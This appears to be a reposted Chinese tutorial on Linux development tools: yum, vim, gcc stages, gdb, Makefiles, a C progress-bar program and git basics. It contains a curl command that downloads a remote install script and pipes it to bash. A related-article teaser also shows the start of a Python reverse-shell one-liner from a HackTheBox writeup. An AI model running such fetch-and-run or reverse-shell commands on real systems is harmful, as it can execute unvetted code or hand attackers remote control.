Linux开发工具(个人使用)

news2025/1/21 22:01:29

Linux开发工具

    • 1.Linux yum软件包管理器
      • 1.1Linux安装程序有三种方式
      • 1.2注意事项
      • 1.3如何查看,安装,卸载软件包
        • 1.3.1查看软件包
        • 1.3.2安装软件包
        • 1.3.3卸载软件
    • 2.Linux vim编辑器
      • 2.1vim的基本操作
      • 2.2vim正常模式命令集
      • 2.3vim底行模式命令集
      • 2.4vim配置
    • 3.Linux gcc/g++编译器
      • 3.1预处理
      • 3.2编译(生成汇编)
      • 3.3汇编(生成二进制的代码)
      • 3.4链接(生成可执行文件或库文件)
      • 3.5静态库和动态库
    • 4.Linux gdb调试器
    • 5.Linux Makefile项目自动化构建工具
      • 5.1原理
    • 6.Linux程序进度条
      • 6.1缓冲区
      • 6.2倒计时程序
      • 6.3进度条
    • 7.git命令行


1.Linux yum软件包管理器

1.1Linux安装程序有三种方式

  1. 源代码安装(不推荐,问题太多,甚至编译都不成功)
  2. rpm包安装,安装的本质就是把可执行程序拷贝到指定的路径下即可(不推荐,麻烦容易出错,版本兼容问题)
  3. yum一键式安装(强烈推荐,可以类比为手机厂商的应用商店或者应用管家)

yum的相关文件会保存你所下载软件的下载路径,yum会去自己的服务器中寻找要下载的软件,而Linux服务器是由各种大厂来进行维护和报销费用,各种经过检测过合格的软件会挂在Linux的服务器上供人下载。

1.2注意事项

关于 yum 的所有操作必须保证主机(虚拟机)网络畅通!!!
可以通过 ping 指令验证是否联网

ping www.baidu.com

1.3如何查看,安装,卸载软件包

1.3.1查看软件包

通过 yum list 命令可以罗列出当前一共有哪些软件包. 由于包的数目可能非常之多, 这里我们需要使用 grep 命令只筛选出我们关注的包.

yum list | grep lrzsz
#结果:
#lrzsz.x86_64 0.12.20-36.el7 @base

软件包名称: 主版本号.次版本号.源程序发行号-软件包的发行号.主机平台.cpu架构.

“x86_64” 后缀表示64位系统的安装包, “i686” 后缀表示32位系统安装包. 选择包时要和系统匹配.

“el7” 表示操作系统发行版的版本. “el7” 表示的是 centos7/redhat7. “el6” 表示 centos6/redhat6.

最后一列, base 表示的是 “软件源” 的名称, 类似于 “小米应用商店”, “华为应用商店”

1.3.2安装软件包

通过 yum, 我们可以通过很简单的一条命令完成 gcc 的安装.

sudo yum install -y lrzsz
1.3.3卸载软件
sudo yum remove - y lrzsz

2.Linux vim编辑器

2.1vim的基本操作

在输入vim 文件名后
其他各种模式切换至正常模式

  1. 无脑ESC

正常模式切换至插入模式

  1. 输入a(光标向后移动一个字符进入插入模式)
  2. 输入i (直接进入插入模式)
  3. 输入o(光标所在行进行换行进入插入模式)

正常模式切换至底行模式
shift + ; , 其实就是输入 :(冒号)

退出vim及保存文件,在正常模式下,按下:进出底行模式
w(保存当前文件)
q(退出当前文件)
!(强制)

2.2vim正常模式命令集

移动光标

vim可以直接用键盘上的光标来上下左右移动,但正规的vim是用小写英文字母h、j、k、l,分别控制光标左、下、上、右移一格
gg:进入文本的开始
shift+g(G):移动到文章的最后
shift+4($):移动到光标所在行的行尾
shift+6(^):移动到光标所在行的行首
w:光标跳到下个单字的开头
e:光标跳到下个单字的字尾
b:光标回到上个字的开头

删除文本
x:删除光标所在位置的一个字符
X:删除光标所在位置的“前面”一个字符
dd:删除光标所在行
ndd:n为数字,从光标所在行开始删除n行

复制文本
yy:复制光标所在行到缓冲区
nyy:复制光标所在行后n行到缓冲区(包括光标所在行)
p:将缓冲区内的字符贴到光标所在位置

替换
r:替换光标所在处的字符。
R:替换光标所到之处的字符,直到ESC为止。

撤销上一次操作
u:回到上一个操作。按多次“u”可以执行多次回复。
ctrl + r: 撤销的恢复

跳到指定行
ctrl」+ g列出光标所在行的行号。
nG:表示移动光标至文章的第n行行首。

2.3vim底行模式命令集

列出行号
set nu: 输入set nu后,会在文件中的每一行前面列出行号

跳到文件中的某一行
n:直接输入数字即可

查找字符
/关键字: 如果第一次找的关键字不是您想要的,可以一直按「n」会往后寻找到您要的关键字为止。
?关键字:如果第一次找的关键字不是您想要的,可以一直按「n」会往前寻找到您要的关键字为止。

2.4vim配置

配置文件的位置在目录 /etc/ 下面,有个名为vimrc的文件
在shell中输入
curl -sLf https://gitee.com/HGtz2222/VimForCpp/raw/master/install.sh -o ./install.sh && bash ./install.sh
即可安装vim的插件进行vim的配置

3.Linux gcc/g++编译器

格式 gcc [选项] 要编译的文件 [选项] [目标文件]

3.1预处理

预处理功能主要包括宏定义,文件包含,条件编译,去注释
预处理指令是以#号开头的代码行

 gcc –E test.c –o test.i

3.2编译(生成汇编)

gcc 首先要检查代码的规范性、是否有语法错误等,以确定代码的实际要做的工作,在检查
无误后,gcc 把代码翻译成汇编语言。

gcc -S test.c -o test.s

3.3汇编(生成二进制的代码)

汇编阶段是把编译阶段生成的“.s”文件转成目标文件

gcc –c test.s –o test.o

3.4链接(生成可执行文件或库文件)

在成功编译之后,就进入了链接阶段。

gcc test.o -o test

3.5静态库和动态库

C程序头文件stdio.h中里是函数的声明,并没有定义函数的实现,包下头文件代码能跑的原因是:
系统把这些函数实现都被做到名为 libc.so.6 的库文件,在没有特别指定时,gcc 会到系统默认的搜索路径“/usr/lib”下进行查找,也就是链接到 libc.so.6 库函数中去,也就是链接的作用

静态库是指编译链接时,把库文件的代码全部加入到可执行文件中,其后缀名一般为“.a”

动态库与之相反,在编译链接时并没有把库文件的代码加入到可执行文件中,而是在程序执行时由运行时链接文件加载库,一般后缀名为“.so”

动态库优缺点
优点:形成的可执行程序体积小,节省资源
缺点:强依赖动态库,动态库没了,依赖这个库的程序就无法运行

静态库优缺点
优点:无视库,可以独立运行
缺点:体积太大,浪费资源

#C静态库安装
sudo yum install -y glibc-static
#C++静态库安装
sudo yum install -y libstdc++-static

4.Linux gdb调试器

Linux gcc/g++出来的二进制程序,默认是release模式
要使用gdb调试,必须在源代码生成二进制程序的时候, 加上 -g 选项
进入:gdb binFile
退出: ctrl + d 或 quit
调试命令:
list/l 行号:显示binFile源代码,接着上次的位置往下列,每次列10行
list/l 函数名:列出某个函数的源代码。
r或run:运行程序。
n 或 next:单条执行。
s或step:进入函数调用
break(b) 行号:在某一行设置断点
break 函数名:在某个函数开头设置断点
info break :查看断点信息。
finish:执行到当前函数返回,然后停下来等待命令
print§:打印表达式的值,通过表达式可以修改变量的值或者调用函数
p 变量:打印变量值。
set var:修改变量的值
continue(或c):从当前位置开始连续而非单步执行程序
run(或r):从开始连续而非单步执行程序
delete breakpoints:删除所有断点
delete breakpoints n:删除序号为n的断点
disable breakpoints:禁用断点
enable breakpoints:启用断点
info(或i) breakpoints:参看当前设置了哪些断点
display 变量名:跟踪查看一个变量,每次停下来都显示它的值
undisplay:取消对先前设置的那些变量的跟踪
until X行号:跳至X行
breaktrace(或bt):查看各级函数调用及参数
info(i) locals:查看当前栈帧局部变量的值
quit:退出gdb

5.Linux Makefile项目自动化构建工具

make:是一个命令
makefile:是一个在当前目录下存在的一个具有特定格式的文本文件

mytest:test.c//依赖关系
   gcc -o $@  $^//依赖方法
.PHONY:clean
clean:
   rm -f mytest    

mytest($ @)是你要的可执行程序的文件名
test.c($^)是要处理的文件
.PHONY是伪目标

5.1原理

makefile和make总是不让我们重新编译代码的
设置成伪目标后,依赖方法总是会被执行,不会被任何情况拦截
那如果没有设置成伪目标,它是如何进行拦截的呢,其实是通过时间的对比,可以做到不让有些代码进行重新编译(不让某些操作进行)
第一次的时候,一定先有源文件,才有bin文件
源文件的修改时间<bin文件的修改时间
第二/n次的时候,我们对源文件做任何修改的时候
源文件的修改时间>bin文件的修改时间

需要注意的是更改access时间,添加了次数限制
一个文件被查看的频率是非常高的,如果说每次都更改access时间,也就是访问磁盘,而Linux充满了大量的访问磁盘的IO操作,会变相减慢系统效率,所以添加了次数限制

6.Linux程序进度条

6.1缓冲区

c/C++语言,会针对标准输出,给我们提供默认的缓冲区,缓冲区并不在操作系统内,而是在内存里

#include <stdio.h>

int main()
{
    for(int i = 0; i < 10; i++)
    {
        printf("data: %d", i);
        printf("data: %d", i);
        printf("data: %d", i);
    }
    return 0;
}

这份代码在Linux的gcc编译器执行过,再运行可执行程序是没有输出的,原因在于printf会先输出到c语言的缓冲区中,这里没有对应的刷新缓冲区操作,所以是没有结果

#include <stdio.h>

int main()
{
    for(int i = 0; i < 10; i++)
    {
        printf("data: %d\n", i);
        printf("data: %d\n", i);
        printf("data: %d\n", i);
    }
    return 0;
}

加上\n就会有输出结果,因为\n是一种行刷新的策略,回车加换行
\r是只回车不换行,也不会刷新缓冲区
这里就会引出另一种刷新缓冲区的策略fflush(stdout)这里是强制刷新缓冲区
接着stdout标准输出,引出显示器其实是字符设备,显示器上显示的其实是字符,printf(“%d”,a)是格式化输出整形到显示器上去,也就是说printf格式化输出将整形转成了字符输出到显示器上

6.2倒计时程序

#include<stdio.h>  
#include<unistd.h>
int main()
{                                      
	int cnt=10;
	while(cnt>=0)
	{
		printf("%-2d\r",cnt);
		fflush(stdout);
		cnt--;
		sleep(1);
	}
	printf("\n");
	return 0;
}

6.3进度条

在这里插入图片描述

const char *str="|/-\\";

void process_v1()
{
    // version 1
    int rate=0;
    //char bar[SIZE] = {0};
    char bar[SIZE];
    memset(bar, '\0', sizeof(bar));
    int num = strlen(str);

    while(rate <= MAX_RATE)
    {
        printf("[%-100s][%d%%][%c]\r", bar, rate, str[rate%num]);
        fflush(stdout);
        usleep(STIME);
        bar[rate++] = STYLE;
    }
    printf("\n");
}

// 不能一次将进度条打印完毕,否则无法平滑的和场景结合
// 该函数,应该根据rate,自动的打一次
void process_v2(int rate)
{
    // version 2
    // TODO
    static char bar[SIZE]= {0}; 
    int num = strlen(str);
    if(rate <= MAX_RATE && rate >=0)
    {
        printf("[%-100s][%d%%][%c]\r", bar, rate, str[rate%num]);
        fflush(stdout);
        bar[rate] = STYLE;
    }
    if(rate == MAX_RATE) memset(bar, '\0', sizeof(bar));
}

void process_v3(double rate)
{
    // version 2
    static char bar[SIZE]= {0};
    static int cnt = 0;
    int num = strlen(str);
    if(rate <= MAX_RATE && rate >=0)
    {
        cnt++;
        cnt = (cnt >= num ? 0 : cnt); //cnt %= num;
        printf("加载中... [\033[31;44m%-100s\033[0m][%.1f%%][%c]\r", bar, rate, str[cnt]);
        fflush(stdout);
        if(rate < MAX_RATE)
        {
            bar[(int)rate] = STYLE_BODY; //'='
            bar[(int)rate+1] = STYLE_HEADER; //'>'
        }
        else
        {
            bar[(int)rate] = STYLE_BODY;
        }
    }
    //if(rate == MAX_RATE) memset(bar, '\0', sizeof(bar));
}

#define TARGET_SIZE 1024*1024 // 1MB
#define DSIZE 1024*10

//void download()
//{
//    int target = TARGET_SIZE;
//    int total = 0;
//
//    while(total < target)
//    {
//        usleep(STIME); // 用简单的休眠时间,模拟本轮下载花费的时间
//        total += DSIZE;
//        process_v2(total*100/target);
//    }
//    printf("\n");
//}

void download(callback_t cb)
{
    int testcnt = 100;
    int target = TARGET_SIZE;
    int total = 0;

    while(total <= target)
    {
        usleep(STIME); // 用简单的休眠时间,模拟本轮下载花费的时间
        total += DSIZE;
        double rate = total*100.0/target;
        if(rate > 50.0 && testcnt) {
            total = target/2;
            testcnt--;
        }
        cb(rate); // 回调函数
    }
    cb(MAX_RATE); // 回调函数
    printf("\n");
}


// 下载的软件
int main()
{
    download(process_v3);
    return 0;
}

7.git命令行

安装git

sudo yum install -y git

克隆仓库
创建好一个放置代码的目录
这里的 url 就是刚刚建立好的 项目 的链接

git clone [url]

三板斧

git add [文件名]
git commit . “注释日志”
git push

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1719222.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

灾备方案中虚拟化平台元数据备份技术应用

首先需要介绍下元数据是什么&#xff1f; 元数据&#xff08;Metadata&#xff09;是一个重要的概念&#xff0c;它描述了数据的数据&#xff0c;也就是说&#xff0c;元数据提供了关于数据属性的信息。这些属性可能包括数据的存储位置、历史数据、资源查找、文件记录等。 元…

【MySQL访问】

文章目录 一、C远程连接到MySQLmysql_init()函数mysql_real_connect&#xff08;&#xff09;函数实战案例 二、处理查询select的细节mysql_store_result()函数获取结果行和列获取select结果获取行内容获取列属性 三、MySQL图形化界面连接 关于动态链接&#xff0c;请看这篇文章…

ARM32开发——第一盏灯

&#x1f3ac; 秋野酱&#xff1a;《个人主页》 &#x1f525; 个人专栏:《Java专栏》《Python专栏》 ⛺️心若有所向往,何惧道阻且长 文章目录 开发流程需求分析项目新建代码编写GPIO初始化 程序编译程序烧录烧录扩展&#xff08;熟悉&#xff09;官方烧录器烧录&#xff08;…

C++入门——类和对象【3】(6)

前言 本节是C类和对象中的最后一节&#xff0c;学完本节内容并且能够掌握之前所学的所有内容的话&#xff0c;C就可以说是入门了&#xff0c;那我们废话不多说&#xff0c;正式进入今天的学习 1. 再谈构造函数 1.1 引入 我们在栈的背景下来看 栈的代码&#xff1a; ​type…

数据结构的快速排序(c语言版)

一.快速排序的概念 1.快排的基本概念 快速排序是一种常用的排序算法,它是基于分治策略的一种高效排序算法。它的基本思想如下: 从数列中挑出一个元素作为基准(pivot)。将所有小于基准值的元素放在基准前面,所有大于基准值的元素放在基准后面。这个过程称为分区(partition)操作…

开发语言Java+前端框架Vue+后端框架SpringBoot开发的ADR药物不良反应监测系统源码 系统有哪些优势?

开发语言Java前端框架Vue后端框架SpringBoot开发的ADR药物不良反应监测系统源码 系统有哪些优势&#xff1f; ADR药物不良反应监测系统具有多个显著的优势&#xff0c;这些优势主要体现在以下几个方面&#xff1a; 一、提高监测效率与准确性&#xff1a; 通过自动化的数据收集…

Linux自动挂载服务autofs讲解

1.产生原因 2.配置文件讲解 总结&#xff1a;配置客户端&#xff0c;先构思好要挂载的目录如&#xff1a;/abc/cb 然后在autofs.master中编辑&#xff1a; /abc&#xff08;要挂载的主目录&#xff09; /etc/qwe&#xff08;在这个文件里去找要挂载的副目录&#xff0c;这个名…

Codeforces Round 949 (Div. 2) (A~C)

1981A - Turtle and Piggy Are Playing a Game 贪心&#xff0c;每次取x 2&#xff0c;求最大分数 // Problem: B. Turtle and an Infinite Sequence // Contest: Codeforces - Codeforces Round 949 (Div. 2) // URL: https://codeforces.com/contest/1981/problem/B // Me…

Java项目对接redis,客户端是选Redisson、Lettuce还是Jedis?

JAVA项目对接redis&#xff0c;客户端是选Redisson、Lettuce还是Jedis&#xff1f; 一、客户端简介1. Jedis介绍2. Lettuce介绍3. Redisson介绍 二、横向对比三、选型说明 在实际的项目开发中&#xff0c;对于一个需要对接Redis的项目来说&#xff0c;就面临着选择合适的Redis客…

G4 - 可控手势生成 CGAN

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 目录 代码总结与心得 代码 关于CGAN的原理上节已经讲过&#xff0c;这次主要是编写代码加载上节训练后的模型来进行指定条件的生成 图像的生成其实只需要使用…

unity2020打包webGL时卡进程问题

我使用的2020.3.0f1c1&#xff0c;打包发布WEB版的时候会一直卡到asm2wasm.exe这个进程里&#xff0c;而且CPU占用率90%以上。 即使是打包一个新建项目的空场景也是同样的问题&#xff0c;我尝试过一直卡在这里会如何&#xff0c;结果还真打包成功了。只是打包一个空场景需要20…

下载HF AutoTrain 模型的配置文件

下载HF AutoTrain 模型的配置文件 一.在huggingface上创建AutoTrain项目二.通过HF用户名和autotrain项目名,拼接以下url,下载模型列表(json格式)到指定目录三.解析上面的json文件、去重、批量下载模型配置文件(权重以外的文件) 一.在huggingface上创建AutoTrain项目 二.通过HF用…

微信公众号【原子与分子模拟】: 熔化温度 + 超导电性 + 电子化合物 + 分子动力学模拟 + 第一性原理计算 + 数据处理程序

往期内容主要涵盖&#xff1a; 熔化温度 超导电性 电子化合物 分子动力学模拟 第一性原理计算 数据处理程序 【1】熔化温度 分子动力学 LAMMPS 相关内容 【文献分享】分子动力学模拟 LAMMPS 熔化温度 晶体缺陷 熔化方法 LAMMPS 文献&#xff1a;金属熔化行为的局域…

Mac安装第三方软件的命令安装方式

场景&#xff1a; 打开终端命令行&#xff0c;sudo xattr -rd com.apple.quarantine&#xff0c;注意最后quarantine 后面加一个空格&#xff01;然后打开Finder&#xff08;访达&#xff09;&#xff0c;点击左侧的 应用程序&#xff0c;找到相关应用&#xff0c;拖进终端qua…

HackTheBox-Machines--Bashed

Bashed 测试过程 1 信息收集 NMAP 80 端口 目录扫描 http://10.129.155.171/dev/phpbash.min.php http://10.129.155.171/dev/phpbash.php 半交互式 shell 转向 交互式shell python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co…

dmdts连接kingbase8报错

dmdts连接kingbase报错 环境介绍1 人大金仓jdbc配置2 dmdts 人大金仓jdbc默认配置3 dmdts 修改jdbc配置4 达梦产品学习使用列表 环境介绍 dts版本 使用dmdts连接kingbase金仓数据库报错 无效的URL 对比jdbc连接串,修改配置解决 1 人大金仓jdbc配置 配置URL模版信息等 类名…

深度学习聚类再升级!新算法实现强悍性能,准确率超98%

深度聚类不仅继承了传统聚类算法的优点&#xff0c;在对高维和非线性数据的处理能力&#xff0c;以及自适应性和抗噪性方面也具有很大优势。 具体来说&#xff0c;结合深度学习的聚类算法通过利用深度神经网络的强大特征提取能力&#xff0c;自动学习和识别数据中的复杂结构和…

【小白专用24.5.30已验证】Composer安装php框架thinkPHP6的安装教程

一、框架介绍 1、框架简介和版本选择 Thinkphp是一种基于php的开源web应用程序开发框架ThinkPHP框架&#xff0c;是免费开源的、轻量级的、简单快速且敏捷的php框架。你可以免费使用TP框架&#xff0c;甚至可以将你的项目商用&#xff1b; ThinkPHP8.0 是目前框架正式版的最新版…

Spring 框架:Java 企业级开发的基石

文章目录 序言Spring 框架的核心概念Spring 框架的主要模块Spring Boot&#xff1a;简化 Spring 开发Spring Cloud&#xff1a;构建微服务架构实际案例分析结论 序言 Spring 框架自 2002 年发布以来&#xff0c;已经成为 Java 企业级开发的标准之一。它通过提供全面的基础设施…